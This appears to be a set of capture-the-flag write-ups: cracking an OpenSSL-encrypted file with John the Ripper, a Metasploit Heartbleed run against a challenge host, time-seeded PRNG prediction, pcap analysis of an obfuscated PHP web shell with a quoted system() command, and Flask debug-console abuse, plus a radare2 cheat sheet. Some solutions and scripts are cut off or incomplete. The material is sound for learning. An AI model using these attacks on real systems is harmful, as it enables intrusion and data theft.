Decrypt an OpenSSL-encrypted file. The file was encrypted with
openssl enc using a password.
Vulnerability
OpenSSL’s enc command uses EVP_BytesToKey for password
derivation, which is relatively weak compared to modern key derivation
functions. Common passwords can be cracked with a good wordlist.
Solution
Step 1: Identify the encryption
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file encrypted_flag.enc encrypted_flag.enc: openssl enc'd data with salted password
Step 2: Convert to crackable format
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openssl2john encrypted_flag.enc > hash
Step 3: Crack the password
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john hash --wordlist=rockyou.txt john --show hash encrypted_flag.enc:*7¡Vamos!
Step 4: Decrypt
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openssl enc -d -aes-256-cbc -in encrypted_flag.enc -pass pass:"Vamos!" -out flag
A webserver is storing sensitive data in memory. Exploit a known
vulnerability to read it.
Vulnerability
Heartbleed (CVE-2014-0160) - A critical
vulnerability in OpenSSL that allows reading server memory without
authentication. The vulnerability exploits the TLS heartbeat mechanism
to leak sensitive information including private keys, session tokens,
user data, and flags.
Solution
Use Metasploit’s Heartbleed scanner module:
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msfconsole msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 95fe58ed8b8d1ce7.247ctf.com msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 50326 ... msf auxiliary(scanner/ssl/openssl_heartbleed) > run
The module will dump server memory, which contains the flag.
Guess a random number to win the flag lottery. The server generates
the winning number using a seeded PRNG.
Vulnerability
The server seeds the random number generator with the current Unix
timestamp, which is predictable. Additionally, Python 2 and Python 3
have different PRNG implementations and string conversion behaviors.
Solution
The server code is vulnerable because:
Predictable seed: Unix timestamp is public
knowledge
Time window: Even if time is slightly off, we can
try nearby timestamps
Version differences: Python 2’s str()
truncates floats, making predictions consistent
Use Python 2 to generate predictions for timestamps around the
server’s current time:
PRNGs seeded with time are not cryptographically secure. Use
secrets or os.urandom() for security-sensitive
randomness. Additionally, always be aware of version-specific
differences in language implementations when predicting values.
Our web server was compromised again and we aren't really sure what the attacker was doing. Luckily, we only use HTTP and managed to capture network traffic during the attack! Can you figure out what the attacker was up to?
We start by analyzing the PCAP file to identify interesting HTTP
interactions. Using a simple Scapy script, we can filter for
200 OK responses to see what the server was returning.
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#!/usr/bin/env python3 from scapy.allimport *
PCAP_FILE = "web_shell.pcap"
packages = rdpcap(PCAP_FILE) for i, p inenumerate(packages): if p.haslayer(Raw): raw = p[Raw].load ifb"200 OK"in raw: try: print(f"[*] Packet {i+1} | Length: {len(raw)}") print(raw.decode()) print("-" * 20) except: continue
In the output, we notice a file upload form and a confirmation that
owned.php was uploaded:
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[*] Packet 16640 HTTP/1.1200 OK ... <body> <form enctype="multipart/form-data" action="uploader.php" method="POST"> <p>Upload your file</p> <input type="file" name="uploaded_file"></input><br /> <input type="submit" value="Upload"></input> </form> </body> </html> The file owned.php has been uploaded
Checking the preceding packets (around index 16638), we find the
content of the uploaded owned.php.
2. Analyzing the Malicious
Web Shell
The uploaded file owned.php contains an obfuscated PHP
script.
By removing the noise (replacing [Z and
eq), we can reconstruct the logic. It’s a sophisticated web
shell (similar to Behinder or Godzilla) that uses XOR encryption and
Zlib compression for C2 traffic.
Now that we have the key (81aebe18) and the protocol
markers, we can decrypt the subsequent traffic. We notice the attacker
is executing commands like ls and xxd to read
a file named y_flag_here.txt one byte at a time.
Example of a decrypted request:
chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s31 ../y_flag_here.txt 2>&1');
4. Automated Flag
Reconstruction
To get the full flag, we need to iterate through all packets, decrypt
the requests to find the offset (-s parameter in
xxd), and decrypt the responses to find the hex value of
the character at that offset.
#!/usr/bin/env python3 """ Scapy HTTP/Webshell Traffic Analyzer ------------------------------------ A specialized utility for extracting and decrypting payloads from PCAP files, targeting traffic typical of PHP webshells (e.g., Behinder, AntSword). Includes logic for XOR decryption, Zlib decompression, and flag assembly. """
import base64 import re import urllib.parse import zlib
defextract_flag_fragment(raw_text): """ Parses decrypted output to identify flag fragments extracted via 'xxd'. Expects 'xxd -p -l1 -s[offset]' in request and 2-char hex in response. """ global current_offset raw_text = raw_text.strip() ifnot raw_text: return
# Match Request: Extract offset from xxd command if"xxd -p -l1 -s"in raw_text: match = re.search(r"-s(\d+)", raw_text) ifmatch: current_offset = int(match.group(1))
# Match Response: If we have an offset, convert hex response to char elif current_offset != -1and re.match(r"^[0-9a-fA-F]{2}$", raw_text): try: char = bytes.fromhex(raw_text).decode("utf-8") flag_data[current_offset] = char print( f"[\033[92m+\033[0m] Fragment Found: Offset {current_offset:02} -> '{char}'" ) except Exception as e: print(f"[-] Decode error: {e}") finally: current_offset = -1
defprocess_pcap(packets, regex): """Iterates through packets, searching for encrypted payloads via regex.""" print(f"[*] Analyzing {len(packets)} packets...")
for i, p inenumerate(packets): if p.haslayer(Raw): raw_payload = p[Raw].load match = re.search(regex, raw_payload) ifmatch: decrypted = decrypt_payload(match.group(1)) print(f"[*] Packet {i + 1} matched.") # print(f"Raw: {match.group(1)[:50]}...") # Debug print(f"Decrypted: {decrypted}")
extract_flag_fragment(decrypted) print("-" * 30)
defprint_final_flag(): """Sorts fragments by offset and prints the assembled flag.""" ifnot flag_data: print("\n[-] No flag fragments found in the analyzed packets.") return
sorted_chars = [flag_data[k] for k insorted(flag_data.keys())] final_flag = "".join(sorted_chars)
defcheck_packet_by_content(packets, content): """Heuristic search for specific raw bytes in a PCAP.""" for i, p inenumerate(packets): if p.haslayer(Raw) and content in p[Raw].load: print(f"[*] Content found in Packet {i + 1}") print(p[Raw].load.decode(errors="ignore"))
# --- Main Execution ---
if __name__ == "__main__": try: # Load necessary layers load_layer("tls")
# Load PCAP pkts = rdpcap(PCAP_FILE)
# Regex to capture content between specific webshell markers payload_regex = KH + b"(.+?)" + KF
Find a bug and trigger an exception in a Flask web application to
access the debug console.
Vulnerability
Flask debug mode with DebuggedApplication and
evalex=True allows interactive code execution through the
debugger console. The calculator endpoint accepts division operations
and lacks proper exception handling.
Solution
Step 1: Trigger an Exception
Send a division by zero request to the calculator:
Never enable Flask debug mode in production. The Werkzeug debugger
with evalex=True provides a complete interactive Python
console, allowing arbitrary code execution with the web server’s
privileges.
A concise guide to common operations and tools within the Radare2
framework.
rax2 - Base Conversion
Used for converting between various numerical bases and formats.
Command Line
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rax2 0x28 # Hex to decimal rax2 40 # Decimal to hex rax2 -h # Show help
Internal (within r2)
Use the ? command to evaluate expressions or convert
values.
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[0x00000000]> ? 0x28 # Convert 0x28 to all formats [0x00000000]> ? 3+4 # Evaluate basic math
rabin2 - Binary Information
Extracts information from executable files (imports, exports,
strings, etc.).
Common Commands
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rabin2 -I file # General binary info (arch, OS, bits, etc.) rabin2 -z file # List strings in data sections rabin2 -zz file # List strings in the entire binary rabin2 -i file # List imports (linked libraries/functions) rabin2 -e file # List entry points
radare2 (r2) - Core
Interactive Tool
The main interface for disassembly, analysis, and debugging.
Startup
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r2 -A file # Open file and run analysis (aaa) r2 -w file # Open file in write mode r2 file # Open without any analysis
Information (i)
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i # Show information about current file ii # Show information about current function is # Show information about current symbol iz # Show information about strings in data sections iE # Show information about exports(global symbols)
Navigation (s)
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s 0x400500 # Seek to specific address s main # Seek to 'main' symbol s - # Seek back to previous location
Analysis (a)
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aa # Basic analysis aaa # Full analysis (including functions and symbols) afl # List all analyzed functions
Disassembly & Printing
(p)
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pdf # Print Disassembly of current Function pdf @ main # Print Disassembly of specific function pd 10 # Print 10 lines of Disassembly pD 32 # Print 32 bytes of Disassembly px 64 # Print 64 bytes of Hexdump
Writing (w)
Note: Requires opening r2 with -w.
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wx 909090 # Write hex bytes (NOPs) wa nop # Assemble and write a single instruction
Visual Modes (v,
V)
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v # Open visual panels V # Enter visual mode VV # Enter visual graph mode v test # Load saved layout 'test' v= test # Save current layout as 'test' p & P # Switch view u & U # Undo and Redo seek
rasm2 - Assembler &
Disassembler
Quickly assemble or disassemble instructions.
Usage
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# Assemble an instruction (x86, 64-bit) rasm2 -a x86 -b 64 "nop"
# Disassemble hex code (machine code) rasm2 -a x86 -b 64 -d "90"